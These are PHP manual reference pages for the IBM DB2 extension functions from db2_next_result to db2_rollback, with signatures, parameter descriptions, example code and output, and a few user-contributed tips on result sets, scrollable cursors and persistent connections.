There are no user contributed notes for this page.
db2_last_insert_id
db2_next_result
IBM DB2 Functions


Requests the next result set from a stored procedure

db2_lob_read
db2_num_fields
IBM DB2 Functions
PHP Manual

db2_next_result

(PECL ibm_db2 >= 1.0.0)

db2_next_result — Requests the next result set from a stored procedure

Description

resource db2_next_result ( resource $stmt )

A stored procedure can return zero or more result sets. While you handle the first result set in exactly the same way you would handle the results returned by a simple SELECT statement, to fetch the second and subsequent result sets from a stored procedure you must call the db2_next_result() function and return the result to a uniquely named PHP variable.

Parameters

stmt

A prepared statement returned from db2_exec() or db2_execute().

Return Values

Returns a new statement resource containing the next result set if the stored procedure returned another result set. Returns FALSE if the stored procedure did not return another result set.

Examples

Example #1 Calling a stored procedure that returns multiple result sets

In the following example, we call a stored procedure that returns three result sets. The first result set is fetched directly from the same statement resource on which we invoked the CALL statement, while the second and third result sets are fetched from statement resources returned from our calls to the db2_next_result() function.

<?php
$conn = db2_connect($database, $user, $password);

if ($conn) {
  $stmt = db2_exec($conn, 'CALL multiResults()');

  print "Fetching first result set\n";
  while ($row = db2_fetch_array($stmt)) {
    var_dump($row);
  }

  print "\nFetching second result set\n";
  $res = db2_next_result($stmt);
  if ($res) {
    while ($row = db2_fetch_array($res)) {
      var_dump($row);
    }
  }

  print "\nFetching third result set\n";
  $res2 = db2_next_result($stmt);
  if ($res2) {
    while ($row = db2_fetch_array($res2)) {
      var_dump($row);
    }
  }

  db2_close($conn);
}
?>

The above example will output:

Fetching first result set
array(2) {
  [0]=>
  string(16) "Bubbles         "
  [1]=>
  int(3)
}
array(2) {
  [0]=>
  string(16) "Gizmo           "
  [1]=>
  int(4)
}

Fetching second result set
array(4) {
  [0]=>
  string(16) "Sweater         "
  [1]=>
  int(6)
  [2]=>
  string(5) "llama"
  [3]=>
  string(6) "150.00"
}
array(4) {
  [0]=>
  string(16) "Smarty          "
  [1]=>
  int(2)
  [2]=>
  string(5) "horse"
  [3]=>
  string(6) "350.00"
}

Fetching third result set
array(1) {
  [0]=>
  string(16) "Bubbles         "
}
array(1) {
  [0]=>
  string(16) "Gizmo           "
}

User Contributed Notes

matthewv at ca dot ibm dot com 21-Nov-2008 04:35
Some not so obvious but imported notes:

1) You must always use the original statement return when fetching the next result set.
2) You can not remove a reference to a previous result set if you wish to access another result set.

----------------WILL NOT WORK-------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$firstResultHolder = db2_next_result($originalStatementReturn);

$secondResultHolder = db2_next_result($firstResultHolder);

if ($secondResultHolder) {
  while ($row = db2_fetch_array($secondResultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------

----------------WILL NOT WORK-------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$resultHolder = db2_next_result($originalStatementReturn);

$resultHolder = db2_next_result($originalStatementReturn);

if ($resultHolder) {
  while ($row = db2_fetch_array($resultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------

----------------WILL WORK--------------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$firstResultHolder = db2_next_result($originalStatementReturn);

$secondResultHolder = db2_next_result($originalStatementReturn);

if ($secondResultHolder) {
  while ($row = db2_fetch_array($secondResultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------
db2_lob_read
db2_num_fields
IBM DB2 Functions


Returns the number of fields contained in a result set

db2_next_result
db2_num_rows
IBM DB2 Functions
PHP Manual

db2_num_fields

(PECL ibm_db2 >= 1.0.0)

db2_num_fields — Returns the number of fields contained in a result set

Description

int db2_num_fields ( resource $stmt )

Returns the number of fields contained in a result set. This is most useful for handling the result sets returned by dynamically generated queries, or for result sets returned by stored procedures, where your application cannot otherwise know how to retrieve and use the results.

Parameters

stmt

A valid statement resource containing a result set.

Return Values

Returns an integer value representing the number of fields in the result set associated with the specified statement resource. Returns FALSE if the statement resource is not a valid input value.

Examples

Example #1 Retrieving the number of fields in a result set

The following example demonstrates how to retrieve the number of fields returned in a result set.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, $sql);
$columns = db2_num_fields($stmt);

echo "There are {$columns} columns in the result set.";
?>

The above example will output:

There are 4 columns in the result set.

See Also

  • db2_execute() - Executes a prepared SQL statement
  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.
db2_next_result
db2_num_rows
IBM DB2 Functions


Returns the number of rows affected by an SQL statement

db2_num_fields
db2_pclose
IBM DB2 Functions
PHP Manual

db2_num_rows

(PECL ibm_db2 >= 1.0.0)

db2_num_rows — Returns the number of rows affected by an SQL statement

Description

int db2_num_rows ( resource $stmt )

Returns the number of rows deleted, inserted, or updated by an SQL statement.

To determine the number of rows that will be returned by a SELECT statement, issue SELECT COUNT(*) with the same predicates as your intended SELECT statement and retrieve the value.

If your application logic checks the number of rows returned by a SELECT statement and branches if the number of rows is 0, consider modifying your application to attempt to return the first row with one of db2_fetch_assoc(), db2_fetch_both(), db2_fetch_array(), or db2_fetch_row(), and branch if the fetch function returns FALSE.

Note:

If you issue a SELECT statement using a scrollable cursor, db2_num_rows() returns the number of rows returned by the SELECT statement. However, the overhead associated with scrollable cursors significantly degrades the performance of your application, so if this is the only reason you are considering using scrollable cursors, you should use a forward-only cursor and either call SELECT COUNT(*) or rely on the boolean return value of the fetch functions to achieve the equivalent functionality with much better performance.

Parameters

stmt

A valid stmt resource containing a result set.

Return Values

Returns the number of rows affected by the last SQL statement issued by the specified statement handle.

User Contributed Notes

There are no user contributed notes for this page.
db2_num_fields
db2_pclose
IBM DB2 Functions


Closes a persistent database connection

db2_num_rows
db2_pconnect
IBM DB2 Functions
PHP Manual

db2_pclose

(PECL ibm_db2 >= 1.8.0)

db2_pclose — Closes a persistent database connection

Description

bool db2_pclose ( resource $resource )

This function closes a DB2 client connection created with db2_pconnect() and returns the corresponding resources to the database server.

Note:

This function is only available on i5/OS in response to i5/OS system administration requests.

If you have a persistent DB2 client connection created with db2_pconnect(), you may use this function to close the connection. To avoid substantial connection performance penalties, this function should only be used in rare cases when the persistent connection has become unresponsive or the persistent connection will not be needed for a long period of time.

Parameters

connection

Specifies an active DB2 client connection.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Closing a persistent connection

The following example demonstrates a successful attempt to close a connection to an IBM DB2 i5/OS database.

<?php
$conn = db2_pconnect('', '', '');
$rc = db2_pclose($conn);
if ($rc) {
    echo "Connection was successfully closed.";
}
?>

The above example will output:

Connection was successfully closed.

See Also

  • db2_close() - Closes a database connection
  • db2_pconnect() - Returns a persistent connection to a database

User Contributed Notes

There are no user contributed notes for this page.
db2_num_rows
db2_pconnect
IBM DB2 Functions


Returns a persistent connection to a database

db2_pclose
db2_prepare
IBM DB2 Functions
PHP Manual

db2_pconnect

(PECL ibm_db2 >= 1.0.0)

db2_pconnect — Returns a persistent connection to a database

Description

resource db2_pconnect ( string $database , string $username , string $password [, array $options ] )

Returns a persistent connection to an IBM DB2 Universal Database, IBM Cloudscape, or Apache Derby database.

For more information on persistent connections, refer to Persistent Database Connections.

Calling db2_close() on a persistent connection always returns TRUE, but the underlying DB2 client connection remains open and waiting to serve the next matching db2_pconnect() request.

Users running version 1.9.0 or later of ibm_db2 should be aware that the extension will perform a transaction rollback on persistent connections at the end of a request, thus ending the transaction. This prevents the transaction block from carrying over to the next request which uses that connection if script execution ends before the transaction block does.

Parameters

database

The database alias in the DB2 client catalog.

username

The username with which you are connecting to the database.

password

The password with which you are connecting to the database.

options

An associative array of connection options that affect the behavior of the connection, where valid array keys include:

autocommit

Passing the DB2_AUTOCOMMIT_ON value turns autocommit on for this connection handle.

Passing the DB2_AUTOCOMMIT_OFF value turns autocommit off for this connection handle.

DB2_ATTR_CASE

Passing the DB2_CASE_NATURAL value specifies that column names are returned in natural case.

Passing the DB2_CASE_LOWER value specifies that column names are returned in lower case.

Passing the DB2_CASE_UPPER value specifies that column names are returned in upper case.

CURSOR

Passing the DB2_FORWARD_ONLY value specifies a forward-only cursor for a statement resource. This is the default cursor type and is supported on all database servers.

Passing the DB2_SCROLLABLE value specifies a scrollable cursor for a statement resource. This mode enables random access to rows in a result set, but currently is supported only by IBM DB2 Universal Database.

The following new option is available in ibm_db2 version 1.7.0 and later.

trustedcontext

Passing the DB2_TRUSTED_CONTEXT_ENABLE value turns trusted context on for this connection handle. This parameter cannot be set using db2_set_option().

This key works only if the database is cataloged (even if the database is local), or if you specify the full DSN when you create the connection.

To catalog the database, use following commands:

db2 catalog tcpip node loopback remote <SERVERNAME> server <SERVICENAME>
db2 catalog database <LOCALDBNAME> as <REMOTEDBNAME> at node loopback
db2 "update dbm cfg using svcename <SERVICENAME>"
db2set DB2COMM=TCPIP

The following new i5/OS options are available in ibm_db2 version 1.5.1 and later.

Tip

Conflicting connection attributes used in conjunction with persistent connections can produce indeterminate results on i5/OS. Site policies should be establish for all applications using each persistent connection user profile. The default DB2_AUTOCOMMIT_ON is suggested when using persistent connections.

i5_lib

A character value that indicates the default library that will be used for resolving unqualified file references. This is not valid if the connection is using system naming mode.

i5_naming

DB2_I5_NAMING_ON value turns on DB2 UDB CLI iSeries system naming mode. Files are qualified using the slash (/) delimiter. Unqualified files are resolved using the library list for the job.

DB2_I5_NAMING_OFF value turns off DB2 UDB CLI default naming mode, which is SQL naming. Files are qualified using the period (.) delimiter. Unqualified files are resolved using either the default library or the current user ID.

i5_commit

The i5_commit attribute should be set before the db2_pconnect(). If the value is changed after the connection has been established, and the connection is to a remote data source, the change does not take effect until the next successful db2_pconnect() for the connection handle.

Note:

The php.ini setting ibm_db2.i5_allow_commit==0 or DB2_I5_TXN_NO_COMMIT is the default, but may be overridden with the i5_commit option.

DB2_I5_TXN_NO_COMMIT - Commitment control is not used.

DB2_I5_TXN_READ_UNCOMMITTED - Dirty reads, nonrepeatable reads, and phantoms are possible.

DB2_I5_TXN_READ_COMMITTED - Dirty reads are not possible. Nonrepeatable reads, and phantoms are possible.

DB2_I5_TXN_REPEATABLE_READ - Dirty reads and nonrepeatable reads are not possible. Phantoms are possible.

DB2_I5_TXN_SERIALIZABLE - Transactions are serializable. Dirty reads, non-repeatable reads, and phantoms are not possible

i5_query_optimize

DB2_FIRST_IO All queries are optimized with the goal of returning the first page of output as fast as possible. This goal works well when the output is controlled by a user who is most likely to cancel the query after viewing the first page of output data. Queries coded with an OPTIMIZE FOR nnn ROWS clause honor the goal specified by the clause.

DB2_ALL_IO All queries are optimized with the goal of running the entire query to completion in the shortest amount of elapsed time. This is a good option when the output of a query is being written to a file or report, or the interface is queuing the output data. Queries coded with an OPTIMIZE FOR nnn ROWS clause honor the goal specified by the clause. This is the default.

i5_dbcs_alloc

DB2_I5_DBCS_ALLOC_ON value turns on DB2 6X allocation scheme for DBCS translation column size growth.

DB2_I5_DBCS_ALLOC_OFF value turns off DB2 6X allocation scheme for DBCS translation column size growth.

Note:

The php.ini setting ibm_db2.i5_dbcs_alloc==0 or DB2_I5_DBCS_ALLOC_OFF is the default, but may be overridden with the i5_dbcs_alloc option.

i5_date_fmt

DB2_I5_FMT_ISO - The International Organization for Standardization (ISO) date format yyyy-mm-dd is used. This is the default.

DB2_I5_FMT_USA - The United States date format mm/dd/yyyy is used.

DB2_I5_FMT_EUR - The European date format dd.mm.yyyy is used.

DB2_I5_FMT_JIS - The Japanese Industrial Standard date format yyyy-mm-dd is used.

DB2_I5_FMT_MDY - The date format mm/dd/yyyy is used.

DB2_I5_FMT_DMY - The date format dd/mm/yyyy is used.

DB2_I5_FMT_YMD - The date format yy/mm/dd is used.

DB2_I5_FMT_JUL - The Julian date format yy/ddd is used.

DB2_I5_FMT_JOB - The job default is used.

i5_date_sep

DB2_I5_SEP_SLASH - A slash ( / ) is used as the date separator. This is the default.

DB2_I5_SEP_DASH - A dash ( - ) is used as the date separator.

DB2_I5_SEP_PERIOD - A period ( . ) is used as the date separator.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the date separator.

DB2_I5_SEP_BLANK - A blank is used as the date separator.

DB2_I5_SEP_JOB - The job default is used

i5_time_fmt

DB2_I5_FMT_ISO - The International Organization for Standardization (ISO) time format hh.mm.ss is used. This is the default.

DB2_I5_FMT_USA - The United States time format hh:mmxx is used, where xx is AM or PM.

DB2_I5_FMT_EUR - The European time format hh.mm.ss is used.

DB2_I5_FMT_JIS - The Japanese Industrial Standard time format hh:mm:ss is used.

DB2_I5_FMT_HMS - The hh:mm:ss format is used.

i5_time_sep

DB2_I5_SEP_COLON - A colon ( : ) is used as the time separator. This is the default.

DB2_I5_SEP_PERIOD - A period ( . ) is used as the time separator.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the time separator.

DB2_I5_SEP_BLANK - A blank is used as the time separator.

DB2_I5_SEP_JOB - The job default is used.

i5_decimal_sep

DB2_I5_SEP_PERIOD - A period ( . ) is used as the decimal separator. This is the default.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the decimal separator.

DB2_I5_SEP_JOB - The job default is used.

The following new i5/OS option is available in ibm_db2 version 1.8.0 and later.

i5_libl

A character value that indicates the library list that will be used for resolving unqualified file references. Specify the library list elements separated by blanks 'i5_libl'=>"MYLIB YOURLIB ANYLIB".

Note:

i5_libl calls qsys2/qcmdexc('cmd',cmdlen), which is only available in i5/OS V5R4 and later.

Return Values

Returns a connection handle resource if the connection attempt is successful. db2_pconnect() tries to reuse an existing connection resource that exactly matches the database, username, and password parameters. If the connection attempt fails, db2_pconnect() returns FALSE.

Changelog

Version | Description
ibm_db2 1.9.0 | Active transactions within a persistent connection will be rolled back at the end of each request.
ibm_db2 1.8.0 | The i5_libl option is available for i5/OS users.
ibm_db2 1.7.0 | The trustedcontext option is available.
ibm_db2 1.5.1 | The i5_lib, i5_naming, i5_commit, i5_query_optimize, i5_dbcs_alloc, i5_date_fmt, i5_date_sep, i5_time_fmt, i5_time_sep and i5_decimal_sep options are available for i5/OS users.

Examples

Example #1 A db2_pconnect() example

In the following example, the first call to db2_pconnect() returns a new persistent connection resource. The second call to db2_pconnect() returns a persistent connection resource that simply reuses the first persistent connection resource.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

$pconn = db2_pconnect($database, $user, $password);

if ($pconn) {
    echo "Persistent connection succeeded.";
}
else {
    echo "Persistent connection failed.";
}

$pconn2 = db2_pconnect($database, $user, $password);
if ($pconn) {
    echo "Second persistent connection succeeded.";
}
else {
    echo "Second persistent connection failed.";
}
?>

The above example will output:

Persistent connection succeeded.
Second persistent connection succeeded.

Example #2 Using trusted context

The following example shows how to enable trusted context, switch users, and get the current user ID.

<?php

$database = "SAMPLE";
$hostname = "localhost";
$port = 50000;
$authID = "db2inst1";
$auth_pass = "ibmdb2";

$tc_user = "tcuser";
$tc_pass = "tcpassword";

$dsn = "DATABASE=$database;HOSTNAME=$hostname;PORT=$port;
  PROTOCOL=TCPIP;UID=$authID;PWD=$auth_pass;";
$options = array ("trustedcontext" => DB2_TRUSTED_CONTEXT_ENABLE);

$tc_conn = db2_pconnect($dsn, "", "", $options);
if($tc_conn) {
    echo "Explicit trusted connection succeeded.\n";

    if(db2_get_option($tc_conn, "trustedcontext")) {
        $userBefore = db2_get_option($tc_conn, "trusted_user");

        //Do some work as user 1.

        //Switching to trusted user.
        $parameters = array("trusted_user" => $tc_user,
          "trusted_password" => $tcuser_pass);
        $res = db2_set_option ($tc_conn, $parameters, 1);

        $userAfter = db2_get_option($tc_conn, "trusted_user");
        //Do more work as trusted user.

        if($userBefore != $userAfter) {
            echo "User has been switched." . "\n";
        }
    }

    db2_close($tc_conn);
}
else {
    echo "Explicit trusted connection failed.\n";
}
?>

The above example will output:

Explicit trusted connection succeeded.
User has been switched.

See Also

  • db2_connect() - Returns a connection to a database

User Contributed Notes

satoruyoshida at php dot net 23-Jan-2012 08:28
If You will create db2 connection on IBMi , QSQSRVR job will be created under QSYSWRK subsystem with specified user.
You can ensure it with using db2_pconnect() function.

For example, db2_pconnect('*LOCAL', 'TESTUSR', 'PASSWORD') will bring us QSQSRVR job with TESTUSR user.

If You omit the user, IHS default user is used in the job.
db2_pclose
db2_prepare
IBM DB2 Functions


Prepares an SQL statement to be executed

db2_pconnect
db2_primary_keys
IBM DB2 Functions
PHP Manual

db2_prepare

(PECL ibm_db2 >= 1.0.0)

db2_prepare — Prepares an SQL statement to be executed

Description

resource db2_prepare ( resource $connection , string $statement [, array $options ] )

db2_prepare() creates a prepared SQL statement which can include 0 or more parameter markers (? characters) representing parameters for input, output, or input/output. You can pass parameters to the prepared statement using db2_bind_param(), or for input values only, as an array passed to db2_execute().

There are three main advantages to using prepared statements in your application:

  • Performance: when you prepare a statement, the database server creates an optimized access plan for retrieving data with that statement. Subsequently issuing the prepared statement with db2_execute() enables the statements to reuse that access plan and avoids the overhead of dynamically creating a new access plan for every statement you issue.

  • Security: when you prepare a statement, you can include parameter markers for input values. When you execute a prepared statement with input values for placeholders, the database server checks each input value to ensure that the type matches the column definition or parameter definition.

  • Advanced functionality: Parameter markers not only enable you to pass input values to prepared SQL statements, they also enable you to retrieve OUT and INOUT parameters from stored procedures using db2_bind_param().

Parameters

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

statement

An SQL statement, optionally containing one or more parameter markers..

options

An associative array containing statement options. You can use this parameter to request a scrollable cursor on database servers that support this functionality.

For a description of valid statement options, see db2_set_option().

Return Values

Returns a statement resource if the SQL statement was successfully parsed and prepared by the database server. Returns FALSE if the database server returned an error. You can determine which error was returned by calling db2_stmt_error() or db2_stmt_errormsg().

Examples

Example #1 Preparing and executing an SQL statement with parameter markers

The following example prepares an INSERT statement that accepts four parameter markers, then iterates over an array of arrays containing the input values to be passed to db2_execute().

<?php
$animals = array(
    array(0, 'cat', 'Pook', 3.2),
    array(1, 'dog', 'Peaches', 12.3),
    array(2, 'horse', 'Smarty', 350.0),
);

$insert = 'INSERT INTO animals (id, breed, name, weight)
    VALUES (?, ?, ?, ?)';
$stmt = db2_prepare($conn, $insert);
if ($stmt) {
    foreach ($animals as $animal) {
        $result = db2_execute($stmt, $animal);
    }
}
?>

See Also

  • db2_bind_param() - Binds a PHP variable to an SQL statement parameter
  • db2_execute() - Executes a prepared SQL statement
  • db2_stmt_error() - Returns a string containing the SQLSTATE returned by an SQL statement
  • db2_stmt_errormsg() - Returns a string containing the last SQL statement error message

User Contributed Notes

NormInNorman 18-Nov-2009 07:52
If you are having problems with scrollable cursors and the prepare statement, I've found that you cant set the scrollable option on the connection.  The following code (which tries to get the 2nd record):

<?php
$sql = "SELECT * FROM SCHEMA.TABLENAME";
$options = array('cursor' => DB2_SCROLLABLE);
$conn = db2_connect($database, $user, $password,$options);
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);
$row = db2_fetch_both($stmt, 2);

$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql, $options);
$result = db2_execute($stmt);
$row = db2_fetch_both($stmt, 2);
?>

Will result in the following error:

Warning: db2_fetch_both() [function.db2-fetch-both]: Fetch Failure in dbtest.php on line 7

In fact, even if you set the options on both the connection and the prepare your fetch will not work. You must only set that option on the prepare.
ndt.db2 at google mail 12-Aug-2006 06:41
if you have the error message : PHP Warning:  db2_prepare() [<a href='function.db2-prepare'>function.db2-prepare</a>]: Statement Prepare Failed in (....)
and cannot display the error message using db2_stmt_errormsg() , then check if your database connection handle is (still) valid
db2_pconnect
db2_primary_keys
IBM DB2 Functions


Returns a result set listing primary keys for a table

db2_prepare
db2_procedure_columns
IBM DB2 Functions
PHP Manual

db2_primary_keys

(PECL ibm_db2 >= 1.0.0)

db2_primary_keys — Returns a result set listing primary keys for a table

Description

resource db2_primary_keys ( resource $connection , string $qualifier , string $schema , string $table-name )

Returns a result set listing the primary keys for a table.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. If schema is NULL, db2_primary_keys() matches the schema for the current connection.

table-name

The name of the table.

Return Values

Returns a statement resource with a result set containing rows describing the primary keys for the specified table. The result set is composed of the following columns:

Column name | Description
TABLE_CAT | Name of the catalog for the table containing the primary key. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema for the table containing the primary key.
TABLE_NAME | Name of the table containing the primary key.
COLUMN_NAME | Name of the column containing the primary key.
KEY_SEQ | 1-indexed position of the column in the key.
PK_NAME | The name of the primary key.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.
db2_prepare
db2_procedure_columns
IBM DB2 Functions


Returns a result set listing stored procedure parameters

db2_primary_keys
db2_procedures
IBM DB2 Functions
PHP Manual

db2_procedure_columns

(PECL ibm_db2 >= 1.0.0)

db2_procedure_columns — Returns a result set listing stored procedure parameters

Description

resource db2_procedure_columns ( resource $connection , string $qualifier , string $schema , string $procedure , string $parameter )

Returns a result set listing the parameters for one or more stored procedures.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the procedures. This parameter accepts a search pattern containing _ and % as wildcards.

procedure

The name of the procedure. This parameter accepts a search pattern containing _ and % as wildcards.

parameter

The name of the parameter. This parameter accepts a search pattern containing _ and % as wildcards. If this parameter is NULL, all parameters for the specified stored procedures are returned.

Return Values

Returns a statement resource with a result set containing rows describing the parameters for the stored procedures matching the specified parameters. The rows are composed of the following columns:

Column name | Description
PROCEDURE_CAT | The catalog that contains the procedure. The value is NULL if this table does not have catalogs.
PROCEDURE_SCHEM | Name of the schema that contains the stored procedure.
PROCEDURE_NAME | Name of the procedure.
COLUMN_NAME | Name of the parameter.
COLUMN_TYPE

An integer value representing the type of the parameter:

Return value | Parameter type
1 (SQL_PARAM_INPUT) | Input (IN) parameter.
2 (SQL_PARAM_INPUT_OUTPUT) | Input/output (INOUT) parameter.
3 (SQL_PARAM_OUTPUT) | Output (OUT) parameter.
DATA_TYPE | The SQL data type for the parameter represented as an integer value.
TYPE_NAME | A string representing the data type for the parameter.
COLUMN_SIZE | An integer value representing the size of the parameter.
BUFFER_LENGTH | Maximum number of bytes necessary to store data for this parameter.
DECIMAL_DIGITS | The scale of the parameter, or NULL where scale is not applicable.
NUM_PREC_RADIX | An integer value of either 10 (representing an exact numeric data type), 2 (representing an approximate numeric data type), or NULL (representing a data type for which radix is not applicable).
NULLABLE | An integer value representing whether the parameter is nullable or not.
REMARKS | Description of the parameter.
COLUMN_DEF | Default value for the parameter.
SQL_DATA_TYPE | An integer value representing the size of the parameter.
SQL_DATETIME_SUB | Returns an integer value representing a datetime subtype code, or NULL for SQL data types to which this does not apply.
CHAR_OCTET_LENGTH | Maximum length in octets for a character data type parameter, which matches COLUMN_SIZE for single-byte character set data, or NULL for non-character data types.
ORDINAL_POSITION | The 1-indexed position of the parameter in the CALL statement.
IS_NULLABLE | A string value where 'YES' means that the parameter accepts or returns NULL values and 'NO' means that the parameter does not accept or return NULL values.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.
db2_primary_keys
db2_procedures
IBM DB2 Functions


Returns a result set listing the stored procedures registered in a database

db2_procedure_columns
db2_result
IBM DB2 Functions
PHP Manual

db2_procedures

(PECL ibm_db2 >= 1.0.0)

db2_procedures — Returns a result set listing the stored procedures registered in a database

Description

resource db2_procedures ( resource $connection , string $qualifier , string $schema , string $procedure )

Returns a result set listing the stored procedures registered in a database.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the procedures. This parameter accepts a search pattern containing _ and % as wildcards.

procedure

The name of the procedure. This parameter accepts a search pattern containing _ and % as wildcards.

Return Values

Returns a statement resource with a result set containing rows describing the stored procedures matching the specified parameters. The rows are composed of the following columns:

Column name | Description
PROCEDURE_CAT | The catalog that contains the procedure. The value is NULL if this table does not have catalogs.
PROCEDURE_SCHEM | Name of the schema that contains the stored procedure.
PROCEDURE_NAME | Name of the procedure.
NUM_INPUT_PARAMS | Number of input (IN) parameters for the stored procedure.
NUM_OUTPUT_PARAMS | Number of output (OUT) parameters for the stored procedure.
NUM_RESULT_SETS | Number of result sets returned by the stored procedure.
REMARKS | Any comments about the stored procedure.
PROCEDURE_TYPE | Always returns 1, indicating that the stored procedure does not return a return value.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.
db2_procedure_columns
db2_result
IBM DB2 Functions


Returns a single column from a row in the result set

db2_procedures
db2_rollback
IBM DB2 Functions
PHP Manual

db2_result

(PECL ibm_db2 >= 1.0.0)

db2_result — Returns a single column from a row in the result set

Description

mixed db2_result ( resource $stmt , mixed $column )

Use db2_result() to return the value of a specified column in the current row of a result set. You must call db2_fetch_row() before calling db2_result() to set the location of the result set pointer.

Parameters

stmt

A valid stmt resource.

column

Either an integer mapping to the 0-indexed field in the result set, or a string matching the name of the column.

Return Values

Returns the value of the requested field if the field exists in the result set. Returns NULL if the field does not exist, and issues a warning.

Examples

Example #1 A db2_result() example

The following example demonstrates how to iterate through a result set with db2_fetch_row() and retrieve columns from the result set with db2_result().

<?php
$sql = 'SELECT name, breed FROM animals WHERE weight < ?';
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(10));
while (db2_fetch_row($stmt)) {
    $name = db2_result($stmt, 0);
    $breed = db2_result($stmt, 'BREED');
    print "$name $breed";
}
?>

The above example will output:

cat Pook
gold fish Bubbles
budgerigar Gizmo
goat Rickety Ride

See Also

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row

User Contributed Notes

There are no user contributed notes for this page.
db2_procedures
db2_rollback
IBM DB2 Functions


Rolls back a transaction

db2_result
db2_server_info
IBM DB2 Functions
PHP Manual

db2_rollback

(PECL ibm_db2 >= 1.0.0)

db2_rollback — Rolls back a transaction

Description

bool db2_rollback ( resource $connection )

Rolls back an in-progress transaction on the specified connection resource and begins a new transaction. PHP applications normally default to AUTOCOMMIT mode, so db2_rollback() normally has no effect unless AUTOCOMMIT has been turned off for the connection resource.

Parameters

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Rolling back a DELETE statement

In the following example, we count the number of rows in a table, turn off AUTOCOMMIT mode on a database connection, delete all of the rows in the table and return the count of 0 to prove that the rows have been removed. We then issue db2_rollback() and return the updated count of rows in the table to show that the number is the same as before we issued the DELETE statement. The return to the original state of the table demonstrates that the roll back of the transaction succeeded.

<?php
$conn = db2_connect($database, $user, $password);

if ($conn) {
    $stmt = db2_exec($conn, "SELECT count(*) FROM animals");
    $res = db2_fetch_array( $stmt );
    echo $res[0] . "\n";

    // Turn AUTOCOMMIT off
    db2_autocommit($conn, DB2_AUTOCOMMIT_OFF);

    // Delete all rows from ANIMALS
    db2_exec($conn, "DELETE FROM animals");

    $stmt = db2_exec($conn, "SELECT count(*) FROM animals");
    $res = db2_fetch_array( $stmt );
    echo $res[0] . "\n";

    // Roll back the DELETE statement
    db2_rollback( $conn );

    $stmt = db2_exec( $conn, "SELECT count(*) FROM animals" );
    $res = db2_fetch_array( $stmt );
    echo $res[0] . "\n";
    db2_close($conn);
}
?>

The above example will output:

7
0
7

See Also

  • db2_autocommit() - Returns or sets the AUTOCOMMIT state for a database connection
  • db2_commit() - Commits a transaction

User Contributed Notes

There are no user contributed notes for this page.
